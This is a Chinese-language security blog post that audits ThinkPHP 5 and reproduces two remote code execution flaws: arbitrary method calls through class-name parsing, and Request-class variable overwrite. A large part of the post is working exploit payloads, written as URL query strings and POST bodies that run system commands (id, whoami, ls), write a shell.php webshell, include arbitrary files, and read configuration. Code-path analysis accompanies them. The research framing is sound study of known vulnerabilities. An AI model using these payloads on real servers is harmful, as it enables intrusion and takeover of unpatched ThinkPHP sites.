thinkphp5代码审计

本篇博文会复现大多数tp5的漏洞,持续更新

审计环境搭建

安装thinkphp

推荐使用composer,版本切换很方便

composer create-project --prefer-dist topthink/think=5.0.10 tp5.0.10

将 composer.json 文件的 require 字段设置成如下:

"require": {
    "php": ">=5.4.0",
    "topthink/framework": "5.0.10"
},

然后执行 composer update

PhpStorm+Xdebug调试环境

可以看我另外一篇文章:Debian下PHP Xdebug调试环境搭建

框架基本流程

讲的很不错:https://paper.seebug.org/888/#_4

RCE-类名解析导致任意类方法调用

ThinkPHP版本:5.0.7<=5.0.x<=5.0.22 、5.1.0<=5.1.x<=5.1.30

未开启强制路由

参考:

https://github.com/Mochazz/ThinkPHP-Vuln/blob/master/ThinkPHP5/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C9.md

https://paper.seebug.org/888/#poc

https://xz.aliyun.com/t/3570

payload:

5.1.x

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.1.x类名解析

2018年12月9日官方发布的补丁,在library/think/route/dispatch/Module.php获取控制器名处加了个一个正则waf

洞其实不在这里

在路由调度的时候:

image-20210224183737791

跟进到thinkphp/library/think/route/dispatch/Module.php:

image-20210224183857202

跟进controller方法:(thinkphp/library/think/App.php)

image-20210224193234503

跟进parseModuleAndClass方法:(thinkphp/library/think/App.php)

image-20210222221052520

这个方法先对$name(类名)进行判断,当$name含有\时会直接将其作为类的命名空间路径,导致我们可以任意方法调用,比如:

  • thinkphp/library/think/Container.php:
image-20210223112805010
http://127.0.0.1/public/index.php?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

通过自动加载的特性,think\Container可以直接调用thinkphp/library/think/Container.php的危险方法invokefunction,造成RCE。

  • thinkphp/library/think/Request.php:
image-20210223113330871

因为是private,所以查找同一类里面的用例:

  1. Request::input方法:
image-20210223113649493

构造poc:

http://127.0.0.1/public/index.php?s=index/think\request/input&data=1&filter=phpinfo&name=
  1. Request::cookie方法:
image-20210223114040419

构造poc:

http://127.0.0.1/public/?s=index/think\request/cookie&name=cmd&filter=phpinfo
[HTTP header]
Cookie: cmd=1

同样成功RCE。

  • thinkphp/library/think/template/driver/File.php:
image-20210223130238959

构造poc:

http://127.0.0.1/public/?s=index/think\template\driver\file/write&cacheFile=/tmp/test.txt&content=hacked

成功写入/tmp/test.txt文件。

5.0.x类名解析

thinkphp/library/think/Loader.php:

image-20210224104838156

原理类似,在App::run()方法里面,Loader::controller进行调度的时候,当$name含有\时会直接将其作为类的命名空间路径,导致我们可以任意方法调用。比如:

  • thinkphp/library/think/App.php:
image-20210224111256654

构造poc:

http://127.0.0.1/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
http://127.0.0.1/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

eval因为不是函数不能直接回调,在特定php版本情况下可以使用assert直接RCE,或者利用其他函数读写文件。

需要注意的问题

在https://xz.aliyun.com/t/3570#toc-3这篇文章里面提到:

因为默认配置会判断是否自动转换控制器,将控制器名变成小写

又因为Loader.php::autoloadwin在win环境下严格区分大小写,所以导致有些类加载不到

但是我在Kali下经过小写转换同样也没办法加载到,可能是因为Linux本来就区分大小写?

如此一来,着手点只有框架在加载的时候就已经加载的类了

RCE-Request核心类变量覆盖

ThinkPHP版本:5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30

参考:

https://github.com/Mochazz/ThinkPHP-Vuln/blob/master/ThinkPHP5/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C10.md

payload:

http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami

# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

测试用的payload(版本5.0.10):

http://127.0.0.1/public/index.php?s=index
POST:
_method=__construct&filter[]=system&method=get&get[]=whoami

在App::run()方法进行路由检测的时候,在Route.php大约843行调用$request->method()方法

thinkphp/library/think/Request.php:

image-20210308164140184

可以看到有一个可以控制的函数名$_POST[Config::get['var_method'],而var_method的值在application/config.php里面为_method:

image-20210308164849228

于是可以POST传入_method改变$this->{$this->method}($_POST);达到任意调用此类中的方法

而如果调用此类中的__construct方法:

image-20210308165349746

有一个foreach,可以引起POST数据对Requests对象属性的变量覆盖。

在App::run()方法里面,如果我们开启了debug模式,则会调用Request::param()方法:

image-20210309112057671

当然,即使没有开启debug,在App::run()里面的调用的exec方法同样也会调用Request::param()方法

image-20210309115557269

因为调用栈太深,就不一个个跟了

image-20210309115705097

这个方法我们需要特别关注了,因为 Request 类中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input 方法均调用了 filterValue 方法,而该方法中就存在可利用的 call_user_func 函数

image-20210309113026498

不同的payload触发流程不一样,但是核心是一样的。

任意方法调用发生在method(),变量覆盖发生在__construct(),rce发生在filterValue()

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇